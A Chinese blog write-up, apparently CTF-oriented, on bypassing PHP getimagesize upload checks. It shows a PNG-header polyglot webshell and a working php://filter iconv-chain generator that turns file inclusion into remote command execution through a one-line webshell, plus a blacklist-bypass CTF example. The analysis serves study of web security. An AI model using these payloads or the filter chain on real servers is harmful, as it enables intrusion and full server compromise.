白嫖了陈师傅3天的漏洞百出,真香~
看到Y4tacker师傅在陈师傅的知识星球发了一张图片:
<h1>Update profile picture</h1>
<p>
Change you profile picture to any PNG you like!
Just add ?image=LINK to the url.
Your picture will now show on the page!
</p>
<?php
//Get the image
$image_url = $_GET['image'];
$image = file_get_contents($image_url);
//Temporarily save the image
$tmpfile = tmpfile();
fwtite($tmpfile,$image);
$tmpfile_name = stream_get_meta_data($tmpfile)['uri'];
//Make sure the image is really an image
$image_details = getimagesize($tmpfile_name);
if ($image_details) {
saveImage($user_uuid . '.png',$iamge);
echo '<img src="' . $user_uuid . '.png" width=100>';
} else {
echo 'That doesn\'t look loike an image to me!';
}
?>
Y4师傅发出来的时候已经做出了解答。
在这个题目里中,对文件进行检测时使用了getimagesize
函数,如果指定的文件如果不是有效的图像,会返回 false
,返回数据中也有表示文档类型的字段。但是仅仅通过getimagesize
进行验证其实并不安全,有留下webshell的隐患
从getimagesize
函数源码进行分析,重点注意两个函数:php_getimagesize_from_stream
和php_getimagesizetype
php_getimagesize_from_stream
负责最终处理:
static void php_getimagesize_from_stream(php_stream *stream, zval **info, INTERNAL_FUNCTION_PARAMETERS)
{
...
itype = php_getimagetype(stream, NULL TSRMLS_CC);
switch( itype) {
...
}
...
}
static void php_getimagesize_from_any(INTERNAL_FUNCTION_PARAMETERS, int mode) {
...
php_getimagesize_from_stream(stream, info, INTERNAL_FUNCTION_PARAM_PASSTHRU);
php_stream_close(stream);
}
PHP_FUNCTION(getimagesize)
{
php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
php_getimagetype
负责文件类型的判断:
PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
...
if (!memcmp(filetype, php_sig_gif, 3)) {
return IMAGE_FILETYPE_GIF;
} else if (!memcmp(filetype, php_sig_jpg, 3)) {
return IMAGE_FILETYPE_JPEG;
} else if (!memcmp(filetype, php_sig_png, 3)) {
...
}
}
Y4师傅也提到了,在php中getimagesize的校验实现其实就是判断前几个字节,php_sig_gif
php_sig_png
等是在文件头部定义的
PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
(char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
(再借用Y4师傅的图片)
所以往下的绕过方法分为两种
- 在PHP文件的 HEX编码 前添加 PNG 文件的头字节,
保存为php文件然后上传。
<?php
print_r(getimagesize('test.php'));
/*Array
(
[0] => 1885957734
[1] => 1864902971
[2] => 3
[3] => width="1885957734" height="1864902971"
[bits] => 32
[mime] => image/png
)*/
成功读取出来,并且文件也被正常识别为 PNG 文件,虽然宽和高的值都大的有点离谱。
<?php
print_r(token_get_all(file_get_contents('test.php')));
如果显示正常的话你能看到输出数组的第一个元素的解析器代号是 312,通过 token_name 获取到的名称会是 T_INLINE_HTML,也就是说文件头部的信息被当成正常的内嵌的 HTML 代码被忽略掉了。
至于为什么会有一个大的离谱的宽和高,看一下 php_handle_png
函数的实现就能知道,这些信息也是通过读取特定的文件头的位来获取的。
- 编码转换后能符合特定规则+php://filter进行文件读取
巧用编码来绕过,P牛在谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)中编码与解码,利用php base64_decode
解码特性处理死亡exit
就用到了这个知识点,两者有异曲同工之妙,hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)陆队的文章也有很详细的介绍了。
之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx
就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。
再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。
比如convert.iconv.UTF8.CSISO2022KR
,每次这样都会在字符串的首部产生\x1b$)C
,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:
include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"
同理,也可以得到更多的字符,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)wupco师傅基本找出来了所有的数字和字母。
陆队最终利用的是:
<?=`$_GET[0]`;;?>
//PD89YCRfR0VUWzBdYDs7Pz4=
<?php
highlight_file(__FILE__);
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4=";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
// echo $final_payload;
var_dump(file_get_contents($final_payload));
// hexdump
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
至于需要把$base64_payload
反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR
来生成\x1b$)C
然后进行利用,还不能影响后面已经产生的字符。
至于convert.iconv.UTF8.UTF7
单纯的防止=
的干扰。
个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。
其实,看到这个的时候,感觉有一丝丝的眼熟,今年的羊城杯:
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"])) {
include $file;
}else {
die("Noooo0");
}
在原先的基础上加了一个黑名单,上面的payload加一个url_encode就能通了